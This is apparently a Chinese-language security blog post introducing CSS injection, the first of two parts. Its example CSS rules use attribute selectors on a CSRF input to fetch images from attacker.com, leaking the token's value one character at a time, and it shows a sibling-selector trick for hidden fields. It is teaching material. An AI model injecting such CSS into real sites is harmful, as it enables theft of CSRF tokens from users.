有關 CSS Injection
的攻擊方式有很多,所以我們分為 1、2 兩篇來簡單介紹 ~
讓我們開始吧 XD
根據 OWASP 對於 CSS Injection
的簡單介紹如下:
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.
CSS Injection
(CSS 注入漏洞) 簡單來說,就是涉及在受信任網站的上下文中注入任意 CSS 程式碼
。
這種技巧的核心概念是:
利用 CSS selector 來「猜中」某個表單欄位的值
一旦猜中,就讓瀏覽器偷偷加載一張圖(其實是幫我們送 request)
語法 | 用途 |
---|---|
[attr=value] | 精準匹配 |
[attr^=value] | 開頭是 value |
[attr$=value] | 結尾是 value |
[attr*=value] | 包含 value(中間任何地方) |
input[name=csrf][value^=a] {
background-image: url(https://attacker.com?q=a);
}
input[name=csrf][value^=b] {
background-image: url(https://attacker.com?q=b);
}
/* 一路猜到 z 或 9 */
這段程式碼的邏輯是:
嘗試用 CSS 去「匹配」 csrf 欄位的值開頭是不是某個字母
如果猜中了,瀏覽器就會嘗試去載入對應圖片
攻擊者的伺服器會記錄哪一個字母被載入了,從而得知值的開頭是什麼
有個常見阻礙是:表單的 input 常是 type="hidden",而這種元素不會渲染樣式,也不會觸發 background-image
input[name=csrf][value^=csrF] + input {
background-image: url(https://attacker.com?q=csrF);
}
HTML 結構範例如下:
<input name='csrf' value='csrFfff' type='hidden'>
<input name='userID'>
這段意思是:
如果 csrf 欄位的值開頭是 csrF
那麼它後面的 input(這裡是 userID)就會載入圖片
即使我們不能直接操作 hidden 元素,也能間接觸發 side-channel 資料洩漏
你要確認攻擊環境是否符合以下任一條件:
允許注入足夠長的 CSS payload
可被嵌入到 iframe 中(可視化且可偵測 CSS 觸發)
可從瀏覽器對外載入圖片(無 CSP 限制)
否則可能因安全限制無法觸發 request,或被瀏覽器拒絕執行外部資源加載。
優點:
限制:
對於這樣的攻擊方式,我們可以再加上其他方法,來讓整體的攻擊更有效率。
我會在下一篇文章繼續介紹 ~
這幾天經歷過很多事情,但我的鐵人賽文章還是繼續產出中 XD
不得不說,感覺 css injection 需要參考的文章好多,感覺上又可以分好多篇來寫...
不知道我什麼時候才可以再加入自建漏洞的實作 (汗顏
希望我的未來能夠更加順利,學習資訊安全的道路上也能夠越走越順利 ~ 繼續加油 !
Hackstricks:
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
Huli - css injection:
https://blog.huli.tw/2022/09/29/css-injection-1/
https://blog.huli.tw/2022/09/29/css-injection-2/